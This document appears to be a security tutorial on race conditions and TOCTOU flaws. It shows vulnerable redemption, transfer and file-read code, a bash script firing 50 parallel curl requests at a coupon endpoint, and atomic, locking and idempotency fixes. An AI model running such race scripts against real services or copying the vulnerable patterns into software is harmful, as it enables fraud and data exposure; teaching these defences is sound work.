Race Condition Attack
50 Requests. Same Millisecond. 50 Times the Reward.

// THE VULNERABLE PATTERN: Check-Then-Act Without Locking

async function redeemGiftCard(userId, cardCode, amount) {
  // Step 1: Check if card exists and has balance
  const card = await GiftCard.findOne({ code: cardCode });
  
  if (!card || card.balance < amount) {
    return { error: "Insufficient balance" };
  }
  
  // <-- THE DANGER ZONE: Between check and update
  // Other requests have ALSO passed the check above
  // They all see the original balance
  
  // Step 2: Deduct the balance
  card.balance -= amount;
  await card.save();
  
  // Step 3: Credit the user
  await User.updateOne(
    { _id: userId }, 
    { $inc: { balance: amount } }
  );
  
  return { success: true, newBalance: card.balance };
}

// THE ATTACK: 50 parallel requests hit this endpoint
// Request 1:  Check (balance = $100) -> Pass ✓
// Request 2:  Check (balance = $100) -> Pass ✓  
// Request 3:  Check (balance = $100) -> Pass ✓
// ... (47 more pass the check simultaneously)
// Request 50: Check (balance = $100) -> Pass ✓

// Now ALL 50 requests proceed to deduct and credit
// Each one subtracts $100 from the card
// Each one adds $100 to the user's balance
// Result: User has $5000, card balance is -$4900

// TOCTOU IN FILE OPERATIONS
// Classic security vulnerability pattern

import os
import time

def read_if_safe(filepath):
    # TIME OF CHECK: Is this a regular file we can read?
    if os.path.isfile(filepath) and os.access(filepath, os.R_OK):
        # DANGER: Attacker replaces file with symlink to /etc/passwd RIGHT HERE
        time.sleep(0.001)  # Even tiny delays are exploitable
        
        # TIME OF USE: Open and read the file
        with open(filepath, 'r') as f:
            return f.read()  # Now reading /etc/passwd!

# TOCTOU IN DATABASE OPERATIONS
# Same pattern, different context

async function transferFunds(fromId, toId, amount) {
  // TIME OF CHECK: Verify sender has funds
  const sender = await Account.findById(fromId);
  if (sender.balance < amount) {
    throw new Error("Insufficient funds");
  }
  
  // TIME OF USE: Perform the transfer
  // Between check and use, 10 other transfers already went through
  await Account.updateOne(
    { _id: fromId }, 
    { $inc: { balance: -amount } }
  );
  await Account.updateOne(
    { _id: toId }, 
    { $inc: { balance: amount } }
  );
}

# TOCTOU IN PERMISSION CHECKS
# User's access is being revoked while they make requests

async function accessResource(userId, resourceId) {
  // TIME OF CHECK: Does user have permission?
  const hasAccess = await checkPermission(userId, resourceId);
  if (!hasAccess) return { error: "Access denied" };
  
  // Admin revokes access RIGHT HERE
  
  // TIME OF USE: Return the protected data
  return await Resource.findById(resourceId);  // Still works!
}

// THE VULNERABLE COUPON SYSTEM

app.post('/api/redeem-coupon', authenticate, async (req, res) => {
  const { couponCode } = req.body;
  const userId = req.user.id;
  
  // Step 1: Find the coupon
  const coupon = await Coupon.findOne({ code: couponCode });
  if (!coupon) {
    return res.status(404).json({ error: "Coupon not found" });
  }
  
  // Step 2: Check if already redeemed (THE CHECK)
  if (coupon.redeemed) {
    return res.status(400).json({ error: "Coupon already redeemed" });
  }
  
  // ⚠️ RACE WINDOW STARTS HERE ⚠️
  // 49 other requests have also passed the check above
  
  // Step 3: Apply the discount
  await User.updateOne(
    { _id: userId },
    { $inc: { credits: coupon.value } }
  );
  
  // Step 4: Mark as redeemed (THE ACTION)
  coupon.redeemed = true;
  coupon.redeemedBy = userId;
  coupon.redeemedAt = new Date();
  await coupon.save();
  
  return res.json({ success: true, creditsAdded: coupon.value });
});

// THE ATTACK SCRIPT
// Using curl with GNU parallel for maximum concurrency

#!/bin/bash
# race-condition-exploit.sh

COUPON="SAVE100"
TOKEN="victim_session_token"
URL="https://target.com/api/redeem-coupon"

# Fire 50 requests simultaneously
seq 1 50 | parallel -j50 --ungroup \
  "curl -s -X POST $URL \
   -H 'Authorization: Bearer $TOKEN' \
   -H 'Content-Type: application/json' \
   -d '{"couponCode": "$COUPON"}'"

# Expected: 1 success, 49 failures
# Actual: 30-45 successes depending on server load

# Modern approach: HTTP/2 single-packet attack
# Sends all requests in one TCP packet for perfect synchronization
# Tools like Turbo Intruder can achieve microsecond precision

// THE SECURE APPROACH: Atomic Database Operations

// Method 1: Atomic update with conditions
app.post('/api/redeem-coupon', authenticate, async (req, res) => {
  const { couponCode } = req.body;
  const userId = req.user.id;
  
  // Single atomic operation: find AND update if conditions met
  const result = await Coupon.findOneAndUpdate(
    { 
      code: couponCode, 
      redeemed: false  // Condition is part of the query
    },
    { 
      $set: { 
        redeemed: true, 
        redeemedBy: userId, 
        redeemedAt: new Date() 
      } 
    },
    { new: true }
  );
  
  if (!result) {
    // Either coupon doesn't exist OR was already redeemed
    // No race window - check and action are atomic
    return res.status(400).json({ error: "Coupon invalid or already redeemed" });
  }
  
  // Only reaches here if we successfully claimed the coupon
  await User.updateOne(
    { _id: userId },
    { $inc: { credits: result.value } }
  );
  
  return res.json({ success: true, creditsAdded: result.value });
});

// Method 2: Database transactions with row locking
async function transferFunds(fromId, toId, amount) {
  const session = await mongoose.startSession();
  
  try {
    await session.withTransaction(async () => {
      // SELECT ... FOR UPDATE locks the row
      const sender = await Account.findById(fromId)
        .session(session)
        .select('+balance');
      
      if (sender.balance < amount) {
        throw new Error("Insufficient funds");
      }
      
      // These updates happen atomically
      await Account.updateOne(
        { _id: fromId },
        { $inc: { balance: -amount } },
        { session }
      );
      
      await Account.updateOne(
        { _id: toId },
        { $inc: { balance: amount } },
        { session }
      );
    });
    
    return { success: true };
  } finally {
    session.endSession();
  }
}

// Method 3: Optimistic locking with version field
const couponSchema = new Schema({
  code: String,
  value: Number,
  redeemed: Boolean,
  __v: { type: Number, select: true }  // Version field
});

// Update only succeeds if version matches
const result = await Coupon.updateOne(
  { _id: couponId, __v: expectedVersion },
  { $set: { redeemed: true }, $inc: { __v: 1 } }
);

if (result.modifiedCount === 0) {
  // Someone else modified it first - race condition prevented
  throw new Error("Concurrent modification detected");
}

// DISTRIBUTED LOCKING WITH REDIS

const Redis = require('ioredis');
const redis = new Redis();

async function redeemCouponWithLock(userId, couponCode) {
  // Create a unique lock key for this coupon
  const lockKey = `lock:coupon:${couponCode}`;
  const lockValue = `${userId}:${Date.now()}`;
  const lockTTL = 5000; // 5 second timeout
  
  // Try to acquire the lock (atomic SET NX EX)
  const acquired = await redis.set(
    lockKey, 
    lockValue, 
    'NX',  // Only set if not exists
    'PX',  // Expiry in milliseconds
    lockTTL
  );
  
  if (!acquired) {
    // Another request is processing this coupon
    return { error: "Coupon redemption in progress, try again" };
  }
  
  try {
    // We have the lock - safe to proceed
    const coupon = await Coupon.findOne({ code: couponCode });
    
    if (!coupon || coupon.redeemed) {
      return { error: "Coupon invalid or already used" };
    }
    
    // Apply redemption
    await User.updateOne(
      { _id: userId },
      { $inc: { credits: coupon.value } }
    );
    
    coupon.redeemed = true;
    coupon.redeemedBy = userId;
    await coupon.save();
    
    return { success: true };
    
  } finally {
    // Always release the lock
    // Use Lua script to ensure we only delete our own lock
    const script = `
      if redis.call("get", KEYS[1]) == ARGV[1] then
        return redis.call("del", KEYS[1])
      else
        return 0
      end
    `;
    await redis.eval(script, 1, lockKey, lockValue);
  }
}

// FOR FINANCIAL TRANSACTIONS: Idempotency Keys
// Prevent duplicate processing even with retries

app.post('/api/charge', authenticate, async (req, res) => {
  const idempotencyKey = req.headers['idempotency-key'];
  
  if (!idempotencyKey) {
    return res.status(400).json({ error: "Idempotency key required" });
  }
  
  // Check if we already processed this exact request
  const existing = await Transaction.findOne({ idempotencyKey });
  
  if (existing) {
    // Return the cached response - no double charging
    return res.json(existing.response);
  }
  
  // Process the charge with the idempotency key as a unique constraint
  try {
    const result = await processCharge(req.body);
    
    // Store the result for future duplicate requests
    await Transaction.create({
      idempotencyKey,
      response: result,
      createdAt: new Date()
    });
    
    return res.json(result);
  } catch (error) {
    // Handle constraint violation (duplicate key)
    if (error.code === 11000) {
      const existing = await Transaction.findOne({ idempotencyKey });
      return res.json(existing.response);
    }
    throw error;
  }
});